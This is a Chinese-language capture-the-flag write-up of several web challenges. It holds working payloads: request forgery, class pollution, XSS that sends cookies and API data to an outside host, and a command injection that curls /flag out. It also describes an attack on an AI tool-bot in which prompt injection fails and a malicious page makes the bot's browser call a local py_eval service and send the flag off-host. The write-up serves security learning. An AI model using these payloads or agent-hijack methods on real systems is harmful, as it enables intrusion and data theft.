WEEK1-WEB
魔理沙的魔法目录

这种题目通常是前端js代码执行了之后就能把flag套出来,不过不急,我们先观察。

F12网络检测了一段时间之后,发现了大量check,record包,这些是什么就很值去思考了

看来是可以直接向record发送时间数据,于是我们直接构造伪造的时间记录请求。
// 1. 获取当前的认证 Token 和 用户名
// 代码中显示使用了 localStorage 存储 ctf_token
const token = localStorage.getItem('ctf_token');
const username = localStorage.getItem('ctf_user'); // 或者是 player_ 开头的那个 key
if (!token || !username) {
console.error("未找到 Token 或用户名,请确保页面已加载并已'登录'。");
} else {
console.log(`当前用户: ${username}, Token: ${token}`);
// 2. 构造欺骗请求
// 题目要求 1 小时 = 3600 秒 = 3,600,000 毫秒
// 我们直接发送一个非常大的数值,同时满足秒或毫秒的判断逻辑
const spoofTime = 4000000;
// 3. 向 /record 接口发送 POST 请求,伪造时间
fetch('/record', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': token
},
body: JSON.stringify({
username: username,
time: spoofTime
})
})
.then(res => res.json())
.then(data => {
console.log("Record 响应:", data);
// 4. 发送成功后,立即请求 /check 接口获取 Flag
console.log("正在尝试获取 Flag...");
return fetch('/check', {
method: 'GET',
headers: {
'Authorization': token
}
});
})
.then(res => res.json())
.then(data => {
// 5. 输出结果
if (data.flag) {
console.log("%c Flag: " + data.flag, "color: green; font-size: 20px; font-weight: bold;");
alert("Flag: " + data.flag);
}
})
.catch(err => console.error("请求出错:", err));
}

Vidarshop

尝试注册,发现uid=0是可以注册的,不过发现不是管理员。并且登进去之后直接点击+钱似乎余额不变。
随后我注册了好几个账号,观察出来了:205192021 testu 2051920211 testu1 20519202112 testu12 2051920 test。
那么,admin对应的UID是不是相应的26个字母组合呢?尝试了 1 4 13 9 14 注册,登录,结果发现真的变成了admin

但是,即便是身为admin,点击加钱也是没法变动余额的,这时候看到了题目的提示:
什么你这卖的东西这么贵 什么为什么都用uid了用户名还要抢啊, 什么凭啥admin可以管我们所有人的钱啊
这是不是意味着,实际存储用户余额的始终都是一个同一个类的私有属性呢?
于是这里采用原型链污染的方法构造payload:
POST /api/update HTTP/1.1
Host: cloud-big.hgame.vidar.club:31677
Content-Length: 99
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjE0MTM5MTQiLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAyMzk3NH0.3mXXdky07naVSt07J26aVqtDF4cPEjkDS_kuhd1Awfg
Accept-Language: zh-CN,zh;q=0.9
uid: 1413914
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: http://cloud-big.hgame.vidar.club:31677
Referer: http://cloud-big.hgame.vidar.club:31677/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VyIjoiMCJ9.aYAhkA.ubtJY1iH3dm9sQrkkIWgNwnRBTY
Connection: keep-alive
{
"__init__": {
"__globals__": {
"balance": 1000000
}
}
}

博丽神社的绘马挂

太经典了,输入框+管理员查看,这不是经典的XSS攻击吗?
不过经过反复尝试,发现存在一些过滤,比如直接用script标签会被拦截,不过测试之后发现可以用img标签绕过。
<img src="#" onerror="alert('XSS')">
于是尝试,使用这类方法把管理cookie偷出来
<img src=x onerror="new Image().src='http://capoo.me:65000/?cookie='+document.cookie">
但是竟然没获得结果,这个时候我看到了题目提示,说:归档里面有好东西
于是抓包,找到归档的API接口

<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>window.location.href='http://capoo.me:65000/?api_data='+btoa(t))">
得到一串base64字符
W3siY29udGVudCI6IlRoZV9TZWNyZXRfSXM6IEhnYW1le3RoZV81ZWNyM1QtMEZfSGFLVXIzbF9KMU5qNDhmNTU4NDV9IiwiaWQiOjEwMDEsImlzX3ByaXZhdGUiOnRydWUsInN0YXR1cyI6ImFyY2hpdmVkIiwidGltZXN0YW1wIjoiMjAyNC0wMS0wMSAwMDowMDowMCIsInVzZXJuYW1lIjoiUmVpbXUifV0K

发现flag
MyMonitor

一个由go编写的后端程序
在handler.go的usercmd函数中。代码使用了syncPool来复用MonitorStruct
函数逻辑如下:
func UserCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象
defer MonitorPool.Put(monitor) // 2. 注册 defer:函数结束时必然放回池中
if err := c.ShouldBindJSON(monitor); err != nil { // 3. 绑定用户输入的 JSON
// 4. 【漏洞点】如果绑定报错,直接返回 HTTP 400,未执行 reset
c.JSON(400, gin.H{"error": err.Error()})
return
}
defer monitor.reset() // 5. 正常的重置操作在错误处理之后才注册
// ... 后续业务逻辑
}
- 对象未清洗回收:当
c.ShouldBindJSON 解析发生错误时,程序提前返回。此时,monitor.reset() 尚未被注册执行,但MonitorPool.Put(monitor)会因第一个 defer 必定执行。这导致一个带有部分用户数据的“脏对象”被放回了对象池 [4]。 - JSON 解析特性:Go 的 JSON 解析器按顺序解析字段。如果攻击者构造的 JSON 中,恶意数据字段(
args)在类型错误字段(cmd)之前,解析器会先将恶意数据写入对象内存,随后读到错误字段报错退出。此时对象内存中已残留了攻击者的恶意数据。
题目中的 AdminCmd 接口模拟了一个机器人行为,它会定期从 MonitorPool 获取对象执行命令。
func AdminCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct) // 如果获取到脏对象,Args 字段可能已被污染
// ... 绑定 Admin 输入 (Admin 通常只发送 cmd: ls)
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 拼接命令
exec.Command("bash", "-c", fullCommand).CombinedOutput()
}
如果在 AdminCmd 调用前,能成功向池中“投毒”,Admin 执行的命令将变为 ls {恶意Args},从而实现命令注入。
由于无法直接看到 Admin 的命令回显,需使用带外通道(OOB),如 Webhook.site 或 VPS 监听端口。
为了触发漏洞,Payload 必须满足:
-
args字段在前:确保恶意命令被写入内存。 -
cmd 字段在后且类型错误:触发Unmarshal 报错,利用return 跳过monitor.reset()。
payload:
{
"args": "; curl http://jp-01.ling-idc.cn:65000/`cat /flag`",
"cmd": 1
}
注:MonitorStruct 中 Cmd 定义为 string [4],此处传入 int (1) 会触发类型不匹配错误。
随后接收到flag

My Little Assistant
一个在线CT-TOOLbot,似乎由执行代码和访问网站的能力。
但是经过几次测试,发现:
1.这个AI上下文内容极短,只有一个对话
2.凡是用户发起的要调用到py_eval的指令,都会被拒绝执行,无论有没有害

网站访问功能更是诡异,只能获取到前300字节。
第一次我试图,在我的远程服务器上写入带有恶意PROMPT的网页,让AI去读取,以为ai读取到了之后会直接执行,没想到它永远只会回答我看到了什么,但是永远不会去执行网页上的恶意指令。
经过检查,我并没有在mcp_server.py中找到诸如“py_eval被管理员禁用了”等语句,说明屏蔽我的,要么是前端和后端之间的一道防火墙,或者是AI模型本身的限制。
既然mcp运行在本地,那么AI应该能访问到 http://127.0.0.1

同时观察到,py_request 启动的浏览器带有 –disable-web-security 参数 mcp_server.py。这意味着它关闭了同源策略(SOP/CORS),允许跨域请求。
那这样的话,大概率可有试一下CSRF+SSRF这种方案了
我们可以构造一个恶意的网页,让 AI 访问它。这个网页里包含 JavaScript 代码,这段 JS 代码会代表浏览器向 http://127.0.0.1:8001/mcp 发送 POST 请求(调用 py_eval),拿到 Flag 后再发回给监听服务器。
<!DOCTYPE html>
<html>
<body>
<script>
// 1. 构造攻击 Payload,目标是本地的 MCP 服务
// 我们读取 /flag 并赋值给变量,exec 会返回局部变量
const payload = {
"params": {
"name": "py_eval",
"arguments": {
"code": "flag = open('/flag').read()"
}
}
};
// 2. 向 localhost:8001 发送 POST 请求
// 由于 --disable-web-security,这里允许跨域
fetch('http://127.0.0.1:8001/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
})
.then(response => response.json()) // 解析后端返回的 JSON
.then(data => {
// 3. 将拿到的数据(包含 Flag)回传给监听服务器
// 数据通常在 data.result.content[0].text 里面,是转义过的 JSON 字符串
const resultString = JSON.stringify(data);
// 使用 base64 编码防止特殊字符传输问题
const b64Data = btoa(unescape(encodeURIComponent(resultString)));
fetch('http://138.2.17.177:65000/?flag=' + b64Data);
})
.catch(error => {
// 报错也回传
fetch('http://138.2.17.177:65000/?error=' + error);
});
</script>
</body>
</html>


